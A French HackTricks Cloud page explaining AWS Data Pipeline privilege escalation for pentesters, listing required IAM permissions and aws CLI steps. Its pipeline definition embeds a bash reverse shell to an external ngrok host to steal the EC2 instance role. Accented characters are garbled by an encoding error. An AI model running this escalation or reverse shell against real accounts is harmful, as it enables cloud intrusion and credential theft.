AWS - Datapipeline Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
datapipeline
Pour plus dâinformations sur datapipeline, consultez :
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Les utilisateurs disposant de ces permissions peuvent escalader des privilÚges en créant un Data Pipeline pour exécuter des commandes arbitraires en utilisant les permissions du rÎle assigné :
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
AprÚs la création du pipeline, the attacker met à jour sa définition pour dicter des actions spécifiques ou la création de ressources :
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Notez que le role aux lignes 14, 15 et 27 doit ĂȘtre un role pouvant ĂȘtre assumĂ© par datapipeline.amazonaws.com et que le role Ă la ligne 28 doit ĂȘtre un role pouvant ĂȘtre assumĂ© par ec2.amazonaws.com avec un EC2 profile instance.
De plus, lâinstance EC2 nâaura accĂšs quâau role pouvant ĂȘtre assumĂ© par lâinstance EC2 (donc vous ne pourrez voler que celui-ci).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Le fichier de dĂ©finition du pipeline, conçu par lâattaquant, inclut des directives pour exĂ©cuter des commandes ou crĂ©er des ressources via lâAPI AWS, en exploitant les permissions du rĂŽle de Data Pipeline pour potentiellement obtenir des privilĂšges supplĂ©mentaires.
Impact potentiel : Privesc direct vers le rÎle de service ec2 spécifié.
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

